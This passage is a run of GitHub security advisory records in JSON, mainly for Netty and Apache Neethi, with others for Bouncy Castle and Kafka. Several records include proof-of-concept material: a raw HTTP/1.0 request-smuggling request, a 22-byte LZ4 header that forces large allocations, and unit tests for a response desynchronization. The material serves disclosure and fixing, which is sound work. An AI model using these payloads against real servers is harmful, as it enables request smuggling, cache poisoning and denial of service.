support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
  "id": "GHSA-f6hv-jmp6-3vwv",
  "modified": "2026-05-14T20:41:29Z",
  "published": "2026-05-07T00:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.neethi:neethi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42404"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:54:54Z",
    "nvd_published_at": "2026-05-01T11:16:19Z",
    "severity": "MODERATE"
  },
  "details": "Apache Neethi does not impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API. When an application explicitly calls the API to retrieve a policy from a remote URI, an outbound request is made for arbitrary protocols and internal IP adddresses. From 3.2.2, only http or https URIs are allowed, and link-local/multicast/any-local addresses are forbidden.\n\nUsers are recommended to upgrade to version 3.2.2, which fixes this issue.",
  "id": "GHSA-287c-fxr7-3w6c",
  "modified": "2026-05-07T02:54:54Z",
  "published": "2026-05-01T12:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42404"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/ws-neethi"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/zdspnt64zznyjyn648553kptx69w23oq"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/01/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Neethi doesn\u0027t impose any restrictions on URIs when manually fetching remote policy references through the PolicyReference API"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:18:41Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization\n\n| Field     | Value |\n|-----------|-------|\n| Library   | `io.netty:netty-codec-http` |\n| Component | `codec-http` \u2014 `HttpObjectDecoder` |\n| Severity  | **HIGH** |\n| Affects   | HEAD, commit `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling.\n\n---\n\n## Root Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif (HttpUtil.isTransferEncodingChunked(message)) {\n    this.chunked = true;\n    if (!contentLengthFields.isEmpty() \u0026\u0026 message.protocolVersion() == HttpVersion.HTTP_1_1) {\n        handleTransferEncodingChunkedWithContentLength(message);  // strips CL \u2014 HTTP/1.1 only\n    }\n    return State.READ_CHUNK_SIZE;\n}\n\n// HttpObjectDecoder.java:870-873\nprotected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n    contentLength = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.\n\n---\n\n## Proof of Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).\n3. No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test {\n\n    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n    @Test\n    public void http10_contentLengthNotStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.0\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n        // Content-Length: 0 survives \u2014 downstream CL-first proxy treats chunked body as new request\n        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"VULNERABLE: CL not stripped\");\n        ch.finishAndReleaseAll();\n    }\n\n    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict\n    @Test\n    public void http11_contentLengthStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.1\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"SAFE: CL correctly stripped\");\n        ch.finishAndReleaseAll();\n    }\n}\n```\n\n---\n\n## Fix Guidance\n\nRemove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.",
  "id": "GHSA-xxqh-mfjm-7mv9",
  "modified": "2026-05-14T20:41:05Z",
  "published": "2026-05-07T00:18:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.neethi:neethi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42402"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:52:05Z",
    "nvd_published_at": "2026-05-01T09:16:16Z",
    "severity": "HIGH"
  },
  "details": "Apache Neethi is vulnerable to a Denial of Service attack through algorithmic complexity in policy normalization. Specially crafted WS-Policy documents can trigger an exponential Cartesian cross-product expansion during the normalization process, causing unbounded memory allocation that exhausts the JVM heap. This occurs when the normalization process generates an excessive number of policy alternatives without bounds, leading to runtime memory exhaustion.\n\nUsers should upgrade to 3.2.2 which limits the maximum number of normalized policy alternatives.",
  "id": "GHSA-g36m-9g3m-2vmp",
  "modified": "2026-05-07T02:52:05Z",
  "published": "2026-05-01T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42402"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/ws-neethi"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/p826j0phhmr9f83wzpmys1y0bdfrr2q4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/01/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Neethi is vulnerable to a Denial of Service attack through algorithmic complexity in policy normalization"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.71"
            },
            {
              "fixed": "1.80.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.81"
            },
            {
              "fixed": "1.81.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.82"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:25:24Z",
    "nvd_published_at": "2026-04-15T10:16:49Z",
    "severity": "HIGH"
  },
  "details": "Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.\n\nThis issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.\n\nThis issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.\n\nFixed versions: 1.80.2, 1.81.1, 1.84",
  "id": "GHSA-p93r-85wp-75v3",
  "modified": "2026-06-19T15:20:41Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/8692e6b2b191fc4aafa32545c7a78bdb9bf110c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/94abbd56413dfdac651fd878bc60253871ef5e87"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-5598"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/S:P/AU:Y/U:Red",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle Has Covert Timing Channel Vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "3.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-13T19:22:21Z",
    "nvd_published_at": "2026-04-07T14:16:23Z",
    "severity": "HIGH"
  },
  "details": "A race condition in the Apache Kafka Java producer client\u2019s buffer pool management can cause messages to be silently delivered to incorrect topics.\n\nWhen a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch\u2019s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch\u2014potentially destined for a different topic\u2014reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer.\n\n\nData Confidentiality:\nMessages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic.\n\nData Integrity:\nConsumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data.\n\nThis issue affects Apache Kafka versions \u2264 3.9.1, \u2264 4.0.1, and\u00a0 \u2264 4.1.1.\n\nKafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.",
  "id": "GHSA-5qcv-4rpc-jp93",
  "modified": "2026-04-13T19:22:21Z",
  "published": "2026-04-07T15:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/pull/21288"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kafka/commit/1df2ac5b2ba4d1b5ed54b895ff6fb9539303ccb5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/kafka"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/KAFKA-19012"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/f07x7j8ovyqhjd1to25jsnqbm6wj01d6"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/07/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Kafka Clients: Kafka Producer Message Corruption and Misrouting via Buffer Pool Race Condition"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n        ByteBuf request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n        request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse response = channel.readInbound();\n        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        LastHttpContent last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 2\n        response = channel.readInbound();\n        assertEquals(HttpResponseStatus.OK, response.status());\n        last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 3\n        FullHttpResponse response1 = channel.readInbound();\n        assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, response1.content().readableBytes());\n        response1.release();\n\n        assertFalse(channel.finish());\n    }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
  "id": "GHSA-57rv-r2g8-2cj3",
  "modified": "2026-05-14T20:41:17Z",
  "published": "2026-05-07T00:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has HttpClientCodec response desynchronization"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.neethi:neethi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:39:24Z",
    "nvd_published_at": "2026-05-01T09:16:17Z",
    "severity": "HIGH"
  },
  "details": "Apache Neethi does not properly detect circular references in policy definitions. When a WS-Policy document contains circular policy references (where Policy A references Policy B which references Policy A), the policy normalization process can enter an infinite loop or cause excessive recursion, leading to a stack overflow or application hang. An attacker can craft malicious policy documents with circular references to cause a Denial of Service condition\n\nUsers are recommended to upgrade to version 3.2.2, which fixes this issue.",
  "id": "GHSA-2hfh-9h53-qc24",
  "modified": "2026-05-07T02:39:24Z",
  "published": "2026-05-01T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42403"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/ws-neethi"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/zm6t8skkkskjwk1881l4m4n0l7dqclzo"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/01/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Neethi does not properly detect circular references in policy definitions."
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-626"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:12:47Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
